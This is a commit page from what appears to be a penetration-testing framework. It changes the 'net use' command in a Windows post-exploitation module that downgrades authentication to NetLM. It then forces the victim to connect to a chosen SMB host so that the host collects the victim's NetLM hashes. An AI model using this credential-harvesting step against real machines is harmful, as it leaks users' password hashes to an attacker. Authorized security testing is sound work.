Skip to content

Commit 65f9f8e

Browse files
committed
fixed net use cmd
1 parent e03ace1 commit 65f9f8e

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/post/windows/gather/netlm_downgrade.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def initialize(info={})
4848
def smb_connect
4949
begin
5050
print_status("Establishing SMB connection to " + datastore['SMBHOST'])
51-
cmd_exec("cmd.exe","/c net use * \\\\#{datastore['SMBHOST']}\\ipc$")
51+
cmd_exec("cmd.exe","/c net use \\\\#{datastore['SMBHOST']}")
5252
print_status("The SMBHOST should now have NetLM hashes")
5353
rescue
5454
print_error("Issues establishing SMB connection")
@@ -104,4 +104,4 @@ def run
104104
end
105105
end
106106
end
107-
end
107+
end

0 commit comments

Comments
 (0)